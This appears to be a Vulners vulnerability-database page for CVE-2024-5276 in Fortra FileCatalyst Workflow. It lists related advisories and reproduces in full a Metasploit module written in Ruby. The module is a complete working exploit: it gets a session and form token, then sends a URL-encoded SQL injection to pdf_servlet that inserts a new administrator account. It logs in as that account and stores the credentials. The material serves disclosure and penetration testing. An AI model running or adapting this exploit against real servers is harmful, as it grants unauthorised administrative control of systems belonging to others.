| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2024-5276 | 27 Jun 202408:58 | – | circl | |
| Fortra FileCatalyst Security Vulnerability | 25 Jun 202400:00 | – | cnnvd | |
| CVE-2024-5276 | 25 Jun 202419:13 | – | cve | |
| CVE-2024-5276 SQL Injection Vulnerability in FileCatalyst Workflow 5.1.6 Build 135 (and earlier) | 25 Jun 202419:13 | – | cvelist | |
| Fortra FileCatalyst Workflow SQLi (CVE-2024-5276) (Version Check) | 27 Jun 202400:00 | – | nessus | |
| Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276) | 19 Aug 202418:51 | – | metasploit | |
| Fortra FileCatalyst Workflow <= v5.1.6 - SQL Injection | 6 Jun 202603:01 | – | nuclei | |
| CVE-2024-5276 | 25 Jun 202420:15 | – | nvd | |
| CVE-2024-5276 | 25 Jun 202420:15 | – | osv | |
| Fortra FileCatalyst Workflow 5.1.6 Build 135 SQL Injection | 14 Mar 202500:00 | – | packetstorm |
`require 'digest/md5'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
'Description' => %q{
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
administrative user to the web interface of the application.
},
'Author' => [
'Tenable', # Discovery and PoC
'Michael Heinzl' # MSF Module
],
'References' => [
['CVE', '2024-5276'],
['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
],
'DisclosureDate' => '2024-06-25',
'DefaultOptions' => {
'RPORT' => 8080
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end
def run
print_status('Starting SQL injection workflow...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'workflow/')
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
end
print_good('Server reachable.')
raw_res = res.to_s
unless raw_res =~ /JSESSIONID=(\w+);/
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
end
jsessionid = ::Regexp.last_match(1)
print_status("JSESSIONID value: #{jsessionid}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
body = res.body
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
end
token_value = ::Regexp.last_match(1)
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.headers['Location']
fail_with(Failure::UnexpectedReply, 'Location header not found.')
end
location_value = res.headers['Location']
print_status("Redirect #1: #{location_value}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, location_value.to_s),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.headers['Location']
fail_with(Failure::UnexpectedReply, 'Location header not found.')
end
location_value = res.headers['Location']
print_status("Redirect #2: #{location_value}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, location_value.to_s),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
html = res.get_html_document
h2_tag = html.at_css('h2')
unless h2_tag
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
end
h2_text = h2_tag.text.strip
unless h2_text == 'Choose an Order Type'
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
end
print_status('Received expected response.')
t = Time.now
username = datastore['NEW_USERNAME']
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
email = datastore['NEW_EMAIL']
firstname = Faker::Name.first_name
lastname = Faker::Name.last_name
areacode = rand(100..999)
exchangecode = rand(100..999)
subscribernumber = rand(1000..9999)
phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
areacode: areacode,
exchangecode: exchangecode,
subscribernumber: subscribernumber)
creation = "+#{t.strftime('%s%L')}"
pw_creationdate = "+#{t.strftime('%s%L')}"
lastlogin = "+#{t.strftime('%s%L')}"
vprint_status('Adding New Admin User:')
vprint_status("\tUsername: #{username}")
vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
vprint_status("\tEmail: #{email}")
vprint_status("\tFirstName: #{firstname}")
vprint_status("\tLastName: #{lastname}")
vprint_status("\tPhone: #{phone}")
vprint_status("\tCreation: #{creation}")
vprint_status("\tPW_CreationDate: #{pw_creationdate}")
vprint_status("\tLastLogin: #{lastlogin}")
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
"PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
"%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
'%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
"%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
'%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
'%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
"%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
print_good('SQL injection successful!')
print_status('Confirming credentials...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
}
)
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
body = res.body
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
end
token_value = ::Regexp.last_match(1)
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}",
'Content-Type' => 'application/x-www-form-urlencoded'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'password' => datastore['NEW_PASSWORD'],
'FCWEB.FORM.TOKEN' => token_value.to_s,
'submit' => 'Login'
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
html = res.get_html_document
title_block = html.at_css('.titleBlock')
unless title_block
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
end
title_text = title_block.text.strip
unless title_text.include?('Administration')
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
end
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
print_good('Login successful!')
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation